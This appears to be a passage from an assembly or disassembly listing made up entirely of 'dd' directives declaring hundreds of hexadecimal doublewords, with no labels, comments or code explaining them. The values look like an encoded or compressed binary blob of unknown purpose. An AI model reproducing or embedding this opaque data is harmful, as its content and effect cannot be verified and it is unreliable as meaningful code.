		dd 4ED8B0E7h, 16187A3Dh, 2AA90FD9h, 7C910309h, 6CFD7F22h
		dd 8051313Dh, 9931CC64h, 1C286CBh, 40F1EFEDh, 801B266Fh
		dd 0A59ACF78h, 7DE4CCCh, 0F7E5AC76h, 0F2733D6h,	823C2100h
		dd 16C7EFCBh, 0ABB60011h, 9C7E3BEBh, 0F606391Dh, 0CCF3641Ah
		dd 7C8552D8h, 0C30EBE2h, 52DC03EEh, 0A8E30484h,	0F6D81D83h
		dd 3A040F86h, 0C9C78F55h, 1870883h, 0D1703E09h,	20C691C0h
		dd 16407504h, 0B9196024h, 99E1B45Dh, 2C49F303h,	0E8A68242h
		dd 0F6DBE314h, 59D4244Ah, 80A41108h, 70E9D2B4h,	0E0448CBAh
		dd 0D2BF0349h, 44A2A3Fh, 9FC09189h, 0B3C062C9h,	769AF882h
		dd 0FC940688h, 21A88D6Fh, 0C580E209h, 0DB5001FDh, 0D1FCCF48h
		dd 203C5896h, 6590B032h, 0A860A004h, 7021FDD2h,	0B34DC05Ah
		dd 640EF5D2h, 230FDF8Fh, 0A8536D08h, 283D3CC1h,	1D0C354h
		dd 9BE59489h, 0D5164546h, 0F34180F9h, 74EDC71Eh, 98594831h
		dd 0A0131715h, 82D9BF00h, 44DB752Ch, 200E8F30h,	18CD8878h
		dd 380FFFDAh, 6E400D11h, 79D30342h, 68E502CFh, 6EF790Fh
		dd 9CC67CD5h, 48E82E0Eh, 5301B6CEh, 1B5CEDFFh, 78408B3Fh
		dd 58008C98h, 4AB200BBh, 639765FCh, 0DC911E9Bh,	0D918FED1h
		dd 6724AC03h, 0F41FB929h, 78C88h, 0B15AA58Eh, 55BD7E4Ah
		dd 53CC8000h, 9AAF0ADEh, 0E6DC303Dh, 0CE4C2AC0h, 0ACCF3003h
		dd 10C6DBABh, 3DEB6A8h,	0FDBA0BF8h, 0BE590253h,	0D9AB0A3Eh
		dd 0D11162E0h, 18E24F3Ah, 93200BBDh, 120D0036h,	0FB57E1CEh
		dd 6D00A6FEh, 68F10941h, 0F0EA95Dh, 34ED9CC1h, 0F823803Bh
		dd 0D2B201A2h, 18AA70EBh, 0BD4788FBh, 0C1CCD204h, 9C80D635h
		dd 0C3B74440h, 0E0E5CE58h, 0B58806F4h, 4480A730h, 0E7F060E4h
		dd 1E71032Ch, 50884CAFh, 673513B0h, 0F0690F62h,	948C08FFh
		dd 0E5B8645Eh, 190A008Ch, 5D7DA7DCh, 5C01841Dh,	15C6D73Eh
		dd 60A9E975h, 60CCD398h, 12456220h, 1060980h, 37D5FC8h
		dd 0E470201Ch, 0FE59981Fh, 0D63FF02Ah, 0DC92F3E0h, 8F22CB3Eh
		dd 85A44Bh, 0A3B23825h
		dd 157F070Ah, 0E25E553Fh, 7A6044EDh, 9D3993C1h,	0AE608094h
		dd 5D88F02Eh, 0F2560F1Fh, 2723302Fh, 0B8A894DFh, 0AB001C35h
		dd 481E269Fh, 957A851h,	9E4C9A2Dh, 5A19EA80h, 0B3033E52h
		dd 0E942DDD1h, 0A72DC0A6h, 18E8F1DCh, 6C214C62h, 295B1875h
		dd 8ABE189Ch, 3970D8F6h, 10FBD628h, 20AFD920h, 78069FDEh
		dd 0D32F9E9Ch, 543E1F11h, 40598067h, 5851DBC4h,	212808CCh
		dd 676D0011h, 0CC9B8C86h, 54062F3Bh, 9E79A259h,	81F92058h
		dd 0A3BADE03h, 0C85FFD50h, 56102Ch, 6A8D5D41h, 989504A1h
		dd 0E4D0F800h, 86EB2065h, 0BF39C09Ah, 57D188Ah,	0D2FBBD06h
		dd 6008E51Ch, 95582194h, 0CE00C218h, 0C9B3C133h, 60B5A2A6h
		dd 28DF80CCh, 0F0C0D262h, 0E423D7BFh, 60D84124h, 5203935Dh
		dd 9B32E359h, 300896AEh, 0E420D7C9h, 0CB0393E8h, 0AAC63861h
		dd 0A64D935Ch, 20948058h, 0CDFD33ABh, 3CD85B10h, 0BA00CE0Ch
		dd 0EE793E54h, 3503D95h, 27A59861h, 5CA86744h, 5B00ABB9h
		dd 6046DEDBh, 1317BCAh,	17A49CA9h, 209AB080h, 0D03D707h
		dd 5CBF449Dh, 843CB874h, 225F03A2h, 11078A8Dh, 0C2917AE8h
		dd 0B7A6C700h, 17B88506h, 0E2CB2472h, 212E0323h, 59F041ECh
		dd 8E00A06Eh, 1A983F07h, 0D58328h, 8AA71E50h, 16619E97h
		dd 0BEB66E0Fh, 0FE638066h, 5F81CBh, 1E2DB754h, 4FF6D18Dh
		dd 671A400h, 4AAE99DDh,	0CFAF00F3h, 0C413F293h,	4378521Eh
		dd 3F0031F4h, 1835A548h, 1637536h, 0CCFCC8ACh, 9D19BE9Fh
		dd 7B9D2F48h, 0C1F68F00h, 3F560Bh, 0F8887F6Ch, 9D2BD442h
		dd 3CD1C43Eh, 195E00F6h, 82AD8B60h, 54108E3h, 8F00F747h
		dd 8C94C21Ch, 0E1771EAh, 86CCA148h, 54B9F820h, 10C0C045h
		dd 6B64EABFh, 0BE76072Fh, 60E3FCA5h, 0D4AD0E06h, 0C2DA741Ch
		dd 98FE294Fh, 0EB5670h,	172FD4Eh, 0E1F741D2h, 38314688h
		dd 0E5817014h, 0A75DFC71h, 4FC881A6h, 790A6B5Ch, 0E618D0h
		dd 0AB63DC39h, 33FF1C9Bh, 0F48CCF00h, 8EA8A7A6h, 4C072A75h
		dd 0A0E4318Ch, 8408F619h, 8EF81469h, 2FC8BB80h,	18450E88h
		dd 21E07AF4h, 943B31C9h, 4A872500h, 0E78CB7E9h,	895667C0h
		dd 43EEB02Bh, 8118D5ABh, 0A018A562h, 3977008Ch,	38DF0AEFh
		dd 42058397h, 8F2AC0F4h, 4DBA8BC0h, 2DFB1460h, 8D00B430h
		dd 0B756941Fh, 0B83DEB6Ah, 3E6F8079h, 0F5970195h, 377BDFh
		dd 73E4E9AEh, 0B1EB2766h, 2AA3400h, 2FB381BFh, 0CF830358h
		dd 50D9F003h, 0E0A2F1C9h, 0DD01AE27h, 2E6D5452h, 408F9961h
		dd 807F49DAh, 0B5D8F51h, 0DF000147h, 285E2F50h,	983D52D0h
		dd 0C97806ABh, 20497405h, 65792776h, 20D8F529h,	30290FC2h
		dd 0F61DD96Eh, 30304988h, 65A474h, 5448F7Bh, 29CD755h
		dd 21C048E8h, 9365CF95h, 213200DBh, 90C9ADC1h, 0F140EF19h
		dd 31960054h, 9FE2B40Ah, 250080B8h, 0D88FDFDCh,	38152DAh
		dd 0A650FD18h, 300022D0h, 97707D9h, 0C645FA3h, 14A4DD20h
		dd 21C02B08h, 8A091EE5h, 0F7D01422h, 62009892h,	0EB4F6E75h
		dd 0B4A0322Dh, 0AD18DB11h, 53599680h, 0EC663D21h, 0EEF999E0h
		dd 711C9D91h, 560C74C2h, 0C1E5089Ah, 91E99C21h,	371CF07Ah
		dd 3A8DF405h, 0DC0F0C2Ch, 0D0E9143h, 989BE65Dh,	1A4C823h
		dd 5FA10979h, 88361814h, 90060E7h, 747A5C78h, 638FAB70h
		dd 398B581Bh, 9EFA918h,	3C3C5C91h, 8E803E4Eh, 0B73595BBh
		dd 2D008407h, 0E3144B3Fh, 2755081h, 0CBAC25D9h,	84802C41h
		dd 0FBDF1159h, 0BB6C5D3Bh, 0A5A8647Ah, 0A4097E60h, 111C5F23h
		dd 65E6002Ah, 99CA6309h, 0F78B079Dh, 5371BABCh,	0B07B5993h
		dd 53702406h, 610020Bh,	5BF41427h, 8CEE40B4h, 186749h
		dd 75D4C31Fh, 0AABCD8h,	6F72197Eh, 36DECF09h, 59AD2401h
		dd 5662660Eh, 30832A60h, 0BF882E95h, 0DBE018A7h, 80AE2505h
		dd 0EC222445h, 91ED301Fh, 0EA719E11h, 9B87FE88h, 1DF091F4h
		dd 8A806Ah, 7CD3F860h, 83ADC665h, 2C267228h, 8766446h
		dd 92719F91h, 96400AC4h, 1F9891F7h, 0F9A17F30h,	3E813446h
		dd 630F682Eh, 0B1A00DD4h, 2AA7C9A9h, 0FB29BB09h, 0BE0CA079h
		dd 48E32F5Fh, 0D40068A8h, 0D892740h, 3091E75Ah,	7C86A791h
		dd 6C563809h, 0B2F22DCh, 6B0963E4h, 0E6313801h,	0F4A8E9F9h
		dd 0BC0CD3FBh, 60CA27DEh, 3C31C737h, 592DE30h, 4135EFCCh
		dd 0C3588EB0h, 0DFEC4777h, 1382D60Fh, 9C8A4981h, 2C7301A2h
		dd 9CD72283h, 0B170D1C8h, 3B29C0Bh, 98195F84h, 0DBA012E9h
		dd 0C008C1Dh, 29FB019Dh, 1C419217h, 13022FE1h, 584C04ACh
		dd 0D7AC8190h, 1022094Eh, 8C302CE2h, 55A900C6h,	0D32BAF9Ah
		dd 0A0C117CDh, 56DB808Eh, 1EFCD0A0h, 54F03BFh, 4E1058F4h
		dd 0C68607DCh, 71F08146h, 0EC1B9F00h, 0DBFCB82Bh, 0FD403AD3h
		dd 77554977h, 561BA700h, 0AFEF2B47h, 21D73201h,	4B8169C3h
		dd 0C0025C20h, 0F7BE7E68h, 5740BD5Bh, 91CB192Ah, 0F558993Eh
		dd 7B40062Fh, 0D0305080h, 9DA8AAB7h, 802911DCh,	0D4BFECB7h
		dd 13A07DD3h, 473C7DEBh, 0E14ECE0Ch, 523058F7h,	9C30C97Ch
		dd 2BEF341Bh, 0A47C4CF0h, 1BEA1121h, 39C31D01h,	577BA371h
		dd 0DB406040h, 76049850h, 14868A58h, 0EE12F17Dh, 6C3E53A3h
		dd 0D5002823h, 8A5761C1h, 1C4348ECh, 4050EA24h,	9246D41Bh
		dd 404C23F5h, 5E4C13B0h, 0E8F09458h, 61078CE1h,	0B1BBAC6Eh
		dd 83803E7Fh, 51D4DE18h, 828D3D6h, 0A3C0F5A0h, 218F7865h
		dd 5F9102CCh, 65CA9601h, 0F868CB88h, 0C0A3DB32h, 0FB9C40FCh
		dd 0A5C10Fh, 3EEC0EBFh,	0C4741DD3h, 0E7068900h,	0C7B92078h
		dd 589F1376h, 0CC18480Eh, 80ACB569h, 318A64Ah, 2714D068h
		dd 236CD890h, 65BE01F4h, 18B48F79h, 0C9978852h,	5EAB651Fh
		dd 682491ECh, 561D809h,	504886ECh, 97BC092h, 4465FC7h
		dd 99002322h, 0EF060962h, 1D6C6BBDh, 44DFCC77h,	0D467CF5Eh
		dd 0E1CC05Ch, 3C90032Eh, 98D16044h, 0F0FF4C78h,	23C29E3Fh
		dd 91EA0B62h, 98E20D04h, 98880D00h, 2932FEF5h, 1D053F7h
		dd 0F35A4931h, 0F940204Bh, 98CFD33Eh, 0CE8833B3h, 0FD3D26A9h
		dd 8C0115B5h, 6F758F06h, 7C263048h, 60BF20B6h, 71A55151h
		dd 5FDB245Bh, 0EF790654h, 10B081FFh, 65CF320h, 8E338132h
		dd 89303953h, 4280410Eh, 457050h, 6FF0E1CBh, 472F5C6Bh
		dd 9E900A50h, 0A4E65C90h, 0F4915EE8h, 71BBC400h, 4D0D74DAh
		dd 7CFC5Ch, 5FB965Ah, 0DF644FA1h, 4B075072h, 0FC533E98h
		dd 4532E8D0h, 675818D8h, 0CD499866h, 4F7C1900h,	0EA77DC07h
		dd 0DB1F02C9h, 50EEB36Bh, 83991341h, 0C75FB40h,	3A583F12h
		dd 0D8D1C903h, 5D8BA081h, 93067FD1h, 230CA6B0h,	2476F987h
		dd 8B81901h, 0B420D8B5h, 9C54500h, 0BBE58B72h, 73D97EF3h
		dd 0F1C89149h, 9A01852h, 0AC7C2C3Fh, 0B656C410h, 0F0FEE700h
		dd 7242CDB3h, 37BD0B80h, 50373E3Dh, 797D4081h, 33D8A504h
		dd 147A12FDh, 0FF100411h, 264F074Bh, 35EEA3h, 0E98B3639h
		dd 119063C3h, 2785938h,	0F9C8ECB1h, 0C57F09Bh, 0A78005C9h
		dd 18052740h, 0E383580Fh, 0B0502C90h, 61F71FE1h, 518F8E81h
		dd 0A4CC2713h, 0A3720034h, 98F5F9D3h, 0A0190194h, 49EBD1F6h
		dd 8E20BD3Fh, 6AA4A5CBh, 6E702096h, 6588C84h, 43A4BCA8h
		dd 487E0054h, 0A9DA95EBh, 53701202h, 2998C03Fh,	63127314h
		dd 0E020D4ABh, 13FA8EF4h, 40D3D0B7h, 4ABF5230h,	40072B3h
		dd 0C3E20737h, 1F5D7BE5h
		dd 41019CE9h, 0A40C8977h, 30A2D990h, 2C040D0Ch,	0F58094Eh
		dd 0BB758101h, 0E1A840A1h, 0DE60F8ADh, 90695671h, 0D25C0145h
		dd 0A370049Dh, 0E5422CFh, 2C8B91B4h, 98101Ah, 317C59B7h
		dd 97E73A05h, 0A203D77Dh, 0A4F809F6h, 7F20B8B5h, 0BD2F830h
		dd 9DE936CFh, 711B080h,	0D001F0Ah, 542B6104h, 78507E58h
		dd 0AFFC0262h, 6AE6B14Dh, 5130FC60h, 0AAA87F80h, 567B60A4h
		dd 884F01CBh, 814C642Ah, 0EB7F065h, 8BECDF09h, 0E57C2079h
		dd 1A25BE9h, 6DC1C7EAh,	0DC7DCF26h, 7F3D8D85h, 0E9F8C59h
		dd 924F401Eh, 0D17C1F30h, 3E4E403Dh, 319A04A5h,	4B386F00h
		dd 2BD72A13h, 0B6820EE1h, 0A6408B30h, 0E56710C0h, 58F1BE00h
		dd 89F3B9ABh, 0E957180h, 27C59E62h, 77B2E943h, 16C01CB3h
		dd 3F001DB4h, 0F0D268F7h, 0B0924E79h, 0B03A03B6h, 20BBA6C4h
		dd 0B2801800h, 30039ECDh, 0D7473CC7h, 5665E20Fh, 265F7B07h
		dd 0C53928D5h, 610BB14Bh, 86E4A8AEh, 0C2B0007h,	0F377F657h
		dd 950079D2h, 3E434F1Ch, 1F5AFE37h, 0C1C51A4Dh,	0F77132B7h
		dd 0CA144107h, 4A68F846h, 0BCC7FE3Fh, 7876B0A2h, 3202B7F3h
		dd 7ED1AACEh, 0A8151C90h, 0C78519C6h, 1B36E8C0h, 98943055h
		dd 0E0A226D4h, 0BEC0C31Ah, 2142F171h, 1D9EA15Ch, 91C8B800h
		dd 0FBAF207h, 3510B08Ch, 6E34B7ABh, 0DC40201Fh,	1A72F7BDh
		dd 0D8F6D414h, 21640090h, 3D9F7057h, 0B1506215h, 0B3E075A8h
		dd 2C015A45h, 95F1F5C9h, 86D83BC8h, 28C46337h, 3103F915h
		dd 0B14258ECh, 0B502E0C7h, 186460E9h, 0E5FD7881h, 562FBD0Ch
		dd 88C3785Ah, 67015EC9h, 330692CBh, 0A04128A6h,	8010745Fh
		dd 37506ECAh, 27002C98h, 0D14DD02Eh, 7A925EC2h,	14350065h
		dd 0F974BEB0h, 0B330023Ah, 0A65779EBh, 6124A993h, 0B1745310h
		dd 0B0FE7603h, 0FC15FDh, 0EE46F7C1h, 0D76D4DB5h, 0E125A14h
		dd 0FA8203F0h, 0B0F966D0h, 553B9D2Bh, 80F0B8DBh, 18A5611Ah
		dd 843FDD47h, 875E5A48h, 32790C80h, 0EEC98EFh, 2B2E9692h
		dd 0E2FE4940h, 8F0697DBh, 704D76B8h, 1ED9E481h,	80698CBCh
		dd 5D122BBFh, 9A30EA26h, 65B52130h, 0CF28078Ah,	0B08623F0h
		dd 0B642EC82h, 0D55A89A0h, 0F4171D2Ah, 0DDAE7801h, 86EA0629h
		dd 12734FD8h, 3A60AFh, 0AB974D30h, 3354C934h, 46191DE4h
		dd 37A167E7h, 3AD95D60h, 8A809A18h, 8DBD5FBCh, 700CC29Eh
		dd 481E88F7h, 674C7396h, 0A2FAA134h, 8887A7BAh,	0A4D94C15h
		dd 2734190Ch, 1C86E0CCh, 9437ACCAh, 303CD4C4h, 0EFE2D300h
		dd 73D0DFA9h, 0D70E6212h, 0B751EF00h, 0CF1E3Fh,	0FF3630E3h
		dd 4216AC11h, 74F4252Ch, 5A48F700h, 3EAE97C7h, 2060E766h
		dd 9277B1C2h, 0C363590Bh, 580D8FFAh, 0C0AFE608h, 925FD120h
		dd 0F1002199h, 8D9CD62Bh, 770CC4F0h, 0E3C60062h, 81D3458h
		dd 4D33B49Dh, 0C16C3871h, 44403175h, 0F243A622h, 0EA4764Eh
		dd 23DC445Ah, 3F212D8Ch, 0B00040FAh, 0A0B71321h, 0C38DD6B9h
		dd 53362F30h, 0DA30680Ch, 60ED31D3h, 0FA5AA1FBh, 0B7000762h
		dd 88303391h, 609FA413h, 81CD98F6h, 0C16CB49Ch,	8C5F9938h
		dd 6B439002h, 1923F44Eh, 0B805101Bh, 3B980043h,	576A5EAEh
		dd 241880F3h, 0CA58E735h, 0C45AF853h, 47C7DDA1h, 9B704C5h
		dd 5906868Fh, 8E700081h, 9C9EB31Ch, 19010A37h, 4810869h
		dd 5087AEE1h, 0D0F84846h, 0A76C1AE4h, 99239807h, 0EE008297h
		dd 0E8CCABC9h, 0B83C00C8h, 0A8B4811h, 719065B4h, 0BE3C5477h
		dd 73380D1h, 0FC3C2252h, 9CB15C88h, 0CF6E1B00h,	812C9E7Bh
		dd 0A4D59A00h, 0E0CEF339h, 615D0054h, 0DF51FC1Fh, 23019708h
		dd 0C08A3E89h, 0A1F4DA09h, 3A5FE6Bh, 0D387DFE8h, 0D2C02331h
		dd 6C00AB0Bh, 91F72D81h, 7E9CEE4h, 3E797856h, 7F043AF8h
		dd 0B01AF560h, 0D668A1A9h, 0FEF621D8h, 0E83500A1h, 33F77741h
		dd 4D1E2F62h, 2140A08Eh, 9313C990h, 0A1440C06h,	0AF29D208h
		dd 84626344h, 0DE883F73h, 66FB88ECh, 8875F588h,	0DF88A72Bh
		dd 218C8BEFh, 1712465Eh, 88C3FA10h, 0F4801843h,	14AF00D2h
		dd 0D6A70897h, 3D3E548Ch, 0C169807Dh, 35FCF128h, 5BEA00FEh
		dd 0B481CC26h, 0E70178ECh, 3DD0D1Dh, 40D8C3D1h,	0F3F90093h
		dd 0FADBAAD0h, 1EF68267h, 18E8E600h, 0ABC3DD79h, 7BB60059h
		dd 0FA5D9825h, 0A7C12A4h, 0D7C9A807h, 809B9B35h, 0C806AB40h
		dd 0B09000BEh, 0F6E5112Bh, 26C00A14h, 792DF205h, 5AC81FBBh
		dd 7CE08395h, 0BFB0C180h, 4008DCBh, 0CA295C6Dh,	7B76ADABh
		dd 27A107D6h, 0DA6C4Eh,	14EDE4ACh, 775F33Ch, 0D55B65EAh
		dd 9D74F400h, 397C00D9h, 934FA2Fh, 80004BB6h, 0D80D7026h
		dd 7B90B3h, 663A7A78h, 0E55DB476h, 5384C400h, 0AA040E68h
		dd 0C2849E9h, 51B19F00h, 53E65E1Bh, 0DC708A60h,	0CC7E711h
		dd 16F42C78h, 0F6002858h, 6D3E140Bh, 0E4908B9Bh, 936E009Ch
		dd 0B4A2575Dh, 0CF000CD6h, 0D364897Ch, 48FB7559h, 760E48FAh
		dd 9507C0C1h, 48D6006Eh, 0F85035E1h, 7E003084h,	2A36F279h
		dd 7789F9h, 1E840E80h, 26B8D862h, 915BC100h, 1CEAAA76h
		dd 0B7441DF2h, 0F40640E9h, 0FD74B180h, 0DC5118C0h, 7DB51197h
		dd 50F01CDBh, 8ED03095h, 8F0047D1h, 93531DC2h, 484172h
		dd 0C4896235h, 13C017FCh, 4F098600h, 0E1572503h, 2E8507D2h
		dd 331D06E5h, 5482A93Dh, 0B909A040h, 4ADE48h, 8D1422ACh
		dd 0D67833h, 0B0A354A1h, 7FE15A63h, 46F60C19h, 0E6D81224h
		dd 0A3FB0013h, 97F49035h, 7B01DD75h, 31810255h,	2EC85DB1h
		dd 0EC9F0019h, 0D31AC459h, 0B900B48Fh, 478DCA54h, 5735F9h
		dd 91293E7h, 0BD7E84Eh,	0C36BCE00h, 0AD99E0EEh,	0F9380019h
		dd 63467220h, 12015F93h, 1CEB83A7h, 0BBEC2A0Fh,	0F89F00C1h
		dd 19B7E317h, 5D16B328h, 641CBD54h, 0B6895604h,	45655880h
		dd 8AB51C5Ah, 3F4F40A5h, 78BA8BAAh, 71001C90h, 0C7DE53EDh
		dd 0E062820h, 5BBE5874h, 9EB095C0h, 8E0C3D3h, 0E2ADC900h
		dd 8714BC90h, 0E461008Dh, 0A2A0C702h, 2FB09D7Fh, 515C18C1h
		dd 0D8F8ECA4h, 0C97A1EC6h, 0C5FD8019h, 64AF662h, 69099300h
		dd 0E1F24F01h, 8B7F45h,	9E4325E5h, 94706854h, 7DEFE007h
		dd 0F1E075ADh, 49815Fh,	0B2652C88h, 824DA418h, 80D73F3Bh
		dd 9E857FFCh, 0E43B803Ah, 187466h, 4336A1ACh, 8C08F40Eh
		dd 0C200B57Bh, 0A2BB71C9h, 103D919h, 7F063144h,	0E469FBC0h
		dd 0EF0061B9h, 0C18118CEh, 7AF3BB65h, 940650A2h, 0F2D20054h
		dd 6EE16837h, 0A400FB70h, 5702B51Bh, 7C5B29h, 2185A01Dh
		dd 626EA966h, 2AF70600h, 3637402Fh, 48FB00EAh, 13BB292h
		dd 1B981C86h, 0AFE3B507h, 6C10ACCEh, 0A730C33h,	2E35F02Dh
		dd 924C07CCh, 0B8D281CDh, 8920205Fh, 60DFA000h,	5D946D13h
		dd 0C0F648CFh, 0D1548500h, 31AF6EE8h, 0A0CECC00h, 0A1907CE9h
		dd 9825F40Ah, 0E85500C5h, 3DEB80FDh, 474C4C5h, 4714Ch
		dd 6B9186F7h, 55409E4h,	0C68701A2h, 2F5EC27Bh, 0CF889843h
		dd 40E1306Bh, 85889788h, 64E4A724h, 0C6915900h,	0CFE9DDh
		dd 0F16C1946h, 0DA849717h, 0F8CE2903h, 804555CAh, 3B43321h
		dd 0F6CD828Fh, 0AE80117h, 184EF21Dh, 7C2CF9A0h,	101400C1h
		dd 871F6E49h, 2D020AEBh, 73B6FB51h, 306626h, 8FC050EAh
		dd 4DFD6D6Eh, 0EBE21300h, 430107D7h, 81140035h,	78823032h
		dd 0B000C4E9h, 0AAA539D6h, 3EF716B6h, 4080FC63h, 69919AD5h
		dd 1000B874h, 0FEDB236Fh
		dd 30B3FFh, 8544217Fh, 0D6F33F71h, 0D13CB976h, 14C003ABh
		dd 0D82ED3F0h, 3AE95DF9h, 3C804661h, 93C83730h,	6301FFD7h
		dd 11633CAh, 949D1BF3h,	0D0414744h, 7769C0ADh, 0A0004EA9h
		dd 6671D206h, 3D76ED14h, 9B000BE1h, 91DBC6B0h, 68003FB7h
		dd 0AB43E9B3h, 73842973h, 0F01200E1h, 66198B61h, 67007C75h
		dd 0A9F69E91h, 0B5C770h, 44528914h, 27931028h, 193E1B0Fh
		dd 1F00F377h, 0DA7F5037h, 10EF00E3h, 0AD12ABBBh, 94025BC8h
		dd 9EE79D15h, 6B97C07Bh, 9CDB00B1h, 0FAA2C90Bh,	0F0023D6h
		dd 10D57F90h, 300EDE5Dh, 4040B2E0h, 3C0344F3h, 56C359FBh
		dd 9F73E807h, 30F815h, 17FE18ECh, 7DDCF2D3h, 8CB20D00h
		dd 0C5F410C2h, 37880012h, 0EF7A66EBh, 0A0009E7Fh, 2769986Bh
		dd 71EA28C8h, 29E70045h, 0CA39B804h, 0AF07D04Ah, 4C80DF60h
		dd 1CA7FB40h, 0E7BE002Bh, 57557E45h, 0EA39226Ch, 2369206h
		dd 1B4C6000h, 0F81AF6Ah, 50E8678Bh, 932D1323h, 37538EF8h
		dd 94B8C500h, 0C7012A70h, 4EAC03BBh, 0D3E8267Eh, 0C22402A9h
		dd 956328E0h, 62D4C109h, 7E800E0h, 1DAC5D86h, 0ACB66466h
		dd 36A702D3h, 0AC046B8h, 945C7C53h, 85EF01E8h, 4318CB5Bh
		dd 1EB309F8h, 0DF762103h, 74BF87EAh, 0F1CD17A8h, 0E433ED49h
		dd 3B0F2824h, 0C6698E91h, 168CB79h, 5AE30A39h, 0D4533D96h
		dd 0E70FEF10h, 0C324E56Dh, 0B8F76193h, 22E15DCh, 12821CC4h
		dd 0BC48F2E4h, 0BD010717h, 4CB89C3Bh, 0D4FC940Dh, 0B34D0B6Fh
		dd 2010E6E7h, 0FF31C951h, 0D0A6200Ah, 5C07D0EFh, 0ADAE00A5h
		dd 549D2327h, 830119E6h, 81BDD7C0h, 0A6EC50EBh,	9B0B0001h
		dd 0D2D37F41h, 2004CB0h, 0C5ED5907h, 58E82FCBh,	3D023634h
		dd 3EFB5D6h, 956EB5C0h,	6B13091Ch, 0A07DE98Eh, 0A5F76378h
		dd 71B20094h, 8BE1C8E8h, 3A00A020h, 0DCABB5D9h,	0E25741CAh
		dd 0F9BD583Dh, 79D0AC02h, 3860CE23h, 0C5001331h, 4098E71Ah
		dd 0B03ED680h, 92A10E98h, 0E3E7C011h, 0D415F0FAh, 7C005A4Dh
		dd 0A2917319h, 509483Ah, 0A965637Ah, 0C4E6831Fh, 3B215D0h
		dd 6E006C99h, 280B4BFDh, 0F8CB3A9Eh, 0A98D4381h, 2840DAE3h
		dd 813301E4h, 6F2CC787h, 2DC01465h, 294242h, 9739D494h
		dd 146FE134h, 0E92C20CBh, 541F8B39h, 0C8305805h, 7157FD6h
		dd 8FC365Bh, 405A03C3h,	26E6AB6h, 38666B2Eh, 9BBD8184h
		dd 83EBACC7h, 0C32D55A2h, 4092D1EAh, 2EE80825h,	0B0D87F50h
		dd 2E71C38h, 64F7C03Ch,	58142D72h, 9DFB4600h, 0B13BD676h
		dd 0FE940101h, 0AEB352CAh, 2FE9C465h, 0C92B20Fh, 301421DBh
		dd 4293501Eh, 15C500A2h, 84CF0BAAh, 0B94ED60Bh,	0D1300057h
		dd 7E0C3411h, 0CDF8D0h,	96B14A54h, 49FAB509h, 21F3CB00h
		dd 0DE8EB817h, 0AB0A3BFDh, 90BC3104h, 0C77807Ah, 373FAD4Fh
		dd 48F88513h, 0C8C09740h, 5C8719F6h, 0AB0074ECh, 0E07581Fh
		dd 0A1CB373h, 6A80150Bh, 0FFBAA78Dh, 941224AFh,	877180D0h
		dd 0D9BE3098h, 6F842F00h, 5BC14365h, 75FA0085h,	37717B68h
		dd 0A328971Dh, 0F40F9026h, 618CFE1Fh, 16521E87h, 8B012C28h
		dd 9343F855h, 0A3EAF4A2h, 2A00677Bh, 0FCC12541h, 35F157h
		dd 586BC40Eh, 3E7971C0h, 9CE0DC24h, 8EE8FD01h, 0CED8145Eh
		dd 7C1A3A1Fh, 0DB90CD00h, 0A79B2068h, 7EC5AB05h, 0C4C04246h
		dd 12C5B52h, 0E0F54D17h, 308F24F4h, 424C7DCEh, 586A03B3h
		dd 0F9480832h, 0B370F7EEh, 40BD4E6Fh, 6E84383Ch, 4E00A75Dh
		dd 27C983FBh, 0C07B1994h, 2BE36A20h, 0AC047C12h, 0DA2F08F3h
		dd 26B940B4h, 8E2497AEh, 4E001082h, 332D92A6h, 5B94E899h
		dd 0CA321889h, 77D4EBBEh, 0F2F09E9h, 64807DB1h,	0F415F642h
		dd 89301300h, 0DC02C127h, 3B4E61Dh, 0EAC55394h,	8A98CFE8h
		dd 1E381B87h, 7700FAFCh, 7259BBE9h, 95815Bh, 990AE16Fh
		dd 0A78923FBh, 0BE8B5101h, 0E2829E5Ah, 77B3E0h,	0A04DD89Bh
		dd 5CB04639h, 1EF3FA00h, 4E07A53Dh, 2C8071E2h, 81CCDA2Eh
		dd 0CFF3784Ch, 0D530C8D2h, 0CF5792Eh, 7A65A602h, 0A44CE021h
		dd 0C6236097h, 0CF065725h, 46E4F000h, 0CEC3EC3Ah, 0EAC20378h
		dd 0B7DCBF88h, 209CC090h, 47FBB601h, 50435938h,	21C020h
		dd 835B6FEBh, 57F47371h, 23377700h, 4DD3FFB0h, 0A2E60039h
		dd 50177D10h, 0C12E5EADh, 3E8F88F8h, 15A5E012h,	96FED1h
		dd 7999BC76h, 0B005D9C9h, 6400584Bh, 0DE8AFF6Bh, 44A76F9h
		dd 3A0F8C65h, 0FD04827Dh, 0A1016458h, 7969B475h, 99E0F3E6h
		dd 2291120Eh, 0AA6CC093h, 3A00A171h, 61A86BBDh,	7FBCA6F1h
		dd 9C680956h, 40808DC7h, 0A8E02536h, 0C7A3DB24h, 75509F00h
		dd 0E2233CCCh, 17D30008h, 0FCF326B3h, 0CF2C5235h, 0C00CF83h
		dd 887E9D27h, 74BE00C0h, 0B0F53E2Ch, 0D104F21Ch, 60347765h
		dd 0DB8FEC90h, 93CD5C5Ch, 4B62F100h, 0DF24647Dh, 159ED017h
		dd 97251800h, 33F2AE9h,	0CBE6886Fh, 8D98CF62h, 6E1DE3B1h
		dd 6B061217h, 48CC67h, 0A3FD3230h, 0AF29631Fh, 0F898D60Fh
		dd 0B51DC05Ch, 5CFF5619h, 33CC835h, 0B6AF9400h,	964C9C8Ch
		dd 74242800h, 0C095A1C6h, 5B209AAh, 0C8003563h,	597FA8B0h
		dd 0F802B800h, 70828876h, 0F2180065h, 0A093D185h, 3301F9E3h
		dd 80E4ABA6h, 32E47804h, 1D350038h, 8C64473Ch, 30001EDEh
		dd 5311FB4Dh, 0BC0CC2Dh, 0B59AACD8h, 26ED10A0h,	3F546970h
		dd 0D60508D8h, 770F9901h, 88F20AC3h, 7C7D3BF5h,	0B5C0034Bh
		dd 1FB176FEh, 5498DEC0h, 67B82700h, 318377E3h, 0A8EA3Dh
		dd 95C11236h, 0C62B1F9Bh, 980A1C01h, 10B337C5h,	0C4407BD5h
		dd 7F0C311h, 0F205BE76h, 80F8E60Ch, 9B003B76h, 2631029Eh
		dd 5CD98333h, 5F2E6411h, 0BDBF041Bh, 8B54E09Fh,	934E709Eh
		dd 0ED00C05Fh, 1FB32242h, 0EB0F0FD6h, 5FE1C06Ah, 0ECEFF59Ch
		dd 0A90078F7h, 55FAD38Dh, 4C28EADh, 4B0A7C64h, 0B0F3C7F4h
		dd 45860801h, 482C590Ch, 377189h, 0CA07610Ch, 0FD4D424Ah
		dd 885B5500h, 33E27C1Eh, 70980Bh, 6BF8F08Ch, 5BE544FBh
